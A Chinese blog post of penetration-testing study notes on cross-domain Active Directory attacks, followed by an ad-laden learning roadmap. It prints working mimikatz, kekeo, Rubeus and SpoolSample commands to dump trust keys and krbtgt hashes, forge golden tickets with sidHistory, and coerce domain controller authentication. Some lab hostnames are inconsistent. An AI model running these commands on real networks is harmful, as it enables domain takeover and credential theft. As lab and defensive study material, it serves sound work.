《内网安全攻防渗透测试实战指南》学习笔记整理,快速掌握内网渗透的关键知识点:
很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根握不同职能区分的部门,从逻辑上以主域和子域进行划分,方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不同的区域。攻击者如果得到了某个子公司或者某个部门的域控制器权限,但没有得到整个公司的内网全部权限,往往会想办法获取其他部门或者域的权限。因此,在部署网络边界时,如果能了解攻击者是如何对现有网络进行跨域攻击的,就可以更安全地部署内网环境、更有效地防范攻击行为。
PS:本文比较干货,可以收藏起来慢慢看,慢慢学
跨域攻击方法分析
常见的跨域攻击方法有:常规渗透方法(例如利用 Web漏洞跨域获取权限);利用已知域散列值进行哈希传递攻击或票据传递攻击(例如域控制器本地管理员密码可能相同);利用域信任关系进行跨域攻击。
利用域信任关系的跨域攻击分析
域信任的作用是解决多域环境中的跨域资源共享问题。
域环境不会无条件地接收来自其他域的凭证,只会接收来自受信任的域的凭证。在默认情况下,特定 Windows域中的所有用户都可以通过该域中的资源进行身份验证。通过这种方式,域可以为其用户提供对该域中所有资源的安全访问机制。如果用户想要访问边界以外的资源,需要使用域信任。
域信任作为域的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同时,域信任利用 DNS 服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域,也就不存在通过域信任关系讲行跨域资源共享了。
域信任关系简介
域信任关系分为单向信任和双向信任两种。
·
单向信任是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问流。在受信任域和信任域之间的单向信任中,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域内的资源。也就是说,若A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。
·
双向信任是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有域信任关系都是双向传递的。在创建子域时,会在新的子域和父域之间自动创建双向可传递信任关系,从下级域发出的身份验证请求可以通过其父域向上流向信任域。
域信任关系也可以分为内部信任和外部信任两种
·
在默认情况下,使用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域。
·
外部信任是指两个不同林中的域的信任关系
从Windows server 2003域信任关系变为双向的,且可以通过信任关系进行传递。在Windows操作系统中,只有Domain Admins组中的用户可以管理域信任关系。
获取域信息
在域中,Enterprise Admins组(仅出现在林的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有 Administrators权限的成员。
在这里要使用LG.exe工具。LG.exe是一款使用C++编写的用于管理本地用户组和域本地用户组的命令行工具。在渗透测试中使用该工具,可以枚举远程主机用户和组的信息。
whoami /all 查看lab域内计算机的当前权限
LG.exe lab. 枚举lab域中的用户组
LG.exe \dc 枚举远程机器的本地组用户
需要两域存在域信任关系,且当前权限被另一个域信任
LG.exe \dc -lu
lg \dc -lu -sidsout 获取远程系统中全部用户的SID
lg \dc\administrators -sidsout 获取指定组中的SID
利用域信任密钥获取目标域的权限
首先,搭建符合条件的域环境。域林内信任环境的具体情况如下
父域的域控制器: pentest.lab ( Windows Server 2012 R2 )。
子域的域控制器: us.pentest.lab( Windows Server 2012 R2 )。
子域内的计算机: pc.us.pentest.test.com ( Windows 7)。
子域内的普通用户: us\test
在本实验中,使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具,渗透测试人员便可以创建具有sidHistory 的票据,对目标域进行安全测试。
在us.pentest.lab.com中使用mimikatz获取需要的信息,命令如下。
mimikatz.exe privilege::debug “lsadump::lsa /patch /user:test$” “lsadump::trust /patch” exit
①当前域SID
②目标域SID
③信任密钥
获取信息后,在域内计算机( pc.sub.test.com )中使用普通域用户权限( sub\test )执行即可。
使用mimikatz创建信任票据
mimikatz “Kerberos::golden /domain:sub.test.com /sid S-1-5-21-3265761439-1148378407-2742098900 /sids:S-1-5-21-2850215151-526022293-2118279608 /rc4:3e0208a9073c8be3801600f311457fcd /user:DarthVader /service:krbtgt /target:pentest.lab /ticket:test.kirbi” exit
domain 参数用于指定当前域名; sid 参数用于指定当前域的SID; sids 参数用于指定目标域的SID(在本实验中为519,表示渗透测试人员创建的用户属于目标域的管理员组); rc4 参数用于指定信任密钥; user 参数用于指定伪造的用户名; service 参数用于指定要访问的服务; target 参数用于指定目标域名; ticket 参数用于指定保存票据的文件名。需要注意的是,第一次访问域控制器时的提示文字重复是由mimikatz执行时的输出异常造成的。
利用刚刚创建的名为test.kirbi的信任票据获取域中目标服务的TGS并保存到文件中。
Asktgs test.kirbi CIFS/pentest.pentest.lab
将获取的TGS票据注入内存
Kirbikator lsa CIFS.pentest.pentest.lab.kirbi
访问目标服务
dir \dc.test.com\C$
利用krbtgt散列值获取目标域的权限
使用mimikatz,可以在构建黄金票据时设置sidHistory。因此,如果攻击者获取了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。下面我们就来分析这一过程。首先,使用PowerView在域内计算机( pc.sub.test.com )中使用普通域用户( sub\test )权限获取当前域和目标域的SID。获取域用户SID的常用命令有"wmic useraccount get name,sid" “whoami/user” “adfind.exe -sc u:test|findstr sid” “powerview”。
在域控制器上使用mimikatz获取krbtgt 散列值。
mimikatz.exe privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exit
或者
sekurlsa::krbtgt
在子域内的计算机上使用普通用户权限(sub\test)构造并注入黄金票据,获取目标域的权限。
mimikatz “Kerberos::golden /user:Administrator /domain:sub.test.com /sid:**** /sids:***** /krbtgt:**** /ptt” exit
user参数用于指定用户名: domain参数用于指定当前域名: sid参数用于当前城的SID; sids参数用于指定目标域的SID(在本实验中为519,代表渗透测试人员创建的户属于目标域的管理员组): krbtgt 参数指定krbtgt散列值: ptt 表示将票据往人内存。
输人如下命令,访问目标服务
dir \dc.test.com\C$
外部信任和林信任
在本实验中,林信任环境的情况如下。
当前林的城控制器: dc.a.com ( Windows Server 2012 R2).
目标林的域控制器: bdc. b.com ( Windows Server 2012 R2 )
当前域的域控制器: adc1.a.com ( WindowServer 2012 R2)
目标域的城控制器: bdc1.b.com ( Windows Sever 212)
外部信任环境的信任关系
nltest /domain_trusts
·
利用信任关系获取信任域的信息
因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。
在本实验中,使用adfind 工具(域查询工具,下载https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml )获取信任域的完整信息。下面以获取Administrator用户的详细信息
输入如下命令,导出全部用户的信息
adfind -h bdc1.b.com -sc u:Administrator
通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。
·
使用PowerView定位敏感用户
执行如下命令,列出目标域用户组中的外部用户
…\PowerView.ps1
Get-DomainForeignGroupMember -Domain B.com
利用无约束委派和MS-RPRN获取信任林权限
如果攻击者已经获取了域林中某个域权限,或者配置了无约束委派的任何服务器的权限,就可以使用MS RPRN的RpcRemoteFindPrinterChangeNotification(Ex)方法,使信任林的域控制器向已被控制的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的散列值。
下面通过一个实验来分析。
首先,输人下列命令,在dc.a.com上使用rubeus工具(https://github.com/GhostPack/Rubeus)监控身份认证请求。interval用于设置健康的时间间隔,filteruser指定需要关注的用户。
Rubeus.exe monitor /interval:5 /filteruser:BDC$
开启监听后,在命令行环境中执行如下命令,使用SpoolSample工具(https://github.com/leechristensen/SpoolSample)让目标域控制器bcd.b.com向dc.a.com发送身份认证请求
SpoolSample.exe bdc.b.com dc.a.com
此时,rubeus 会捕捉来自bdc.b.com的认证请求,保存其中的TGT数据。
清除TGT数据文件中多余的换行符,将票据注入
Rubeus.exe ptt /ticket:
使用mimikatz获取目标域的kebtgt散列值。使用mimikatz的dcsync模拟域控制器向目标域控制器发送请求(获取账号密码)。
mimikatz.exe “lsadump::dcsync /domain:B.com /user:B\krbtgt” exit
构造黄金票据将其注入内存,获取目标域控制器的权限。
mimikatz.exe “Kerberos::golden /user:Administrator /domain:B.com /sid: /rc4: /ptt” exit
访问目标服务
dir \bdc.b.com\C$
防范跨域攻击
内网中的Web应用比公网中的Web应用更脆弱。放置在公网中的Web应用服务器住往会配置WAF等设备,还会有专业的维护人员定期进行安全检测。放置在内网中的Web应用服务器大多为内部办公使用(或者作为测试服务器使用),所以,其安全性受重视程度较低,往往会使用弱口令或者存在未及时修复的补丁。
攻击者在获取当前域的域控制器的权限后,会检查城控制器的本地管理员密码是否与其他的域控制器本地管理员密码相同,以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。在很多公司中,虽然为不同的部门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。在日常网络维护中,需要养成良好的安全习惯,才能有效地防范跨域攻击。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
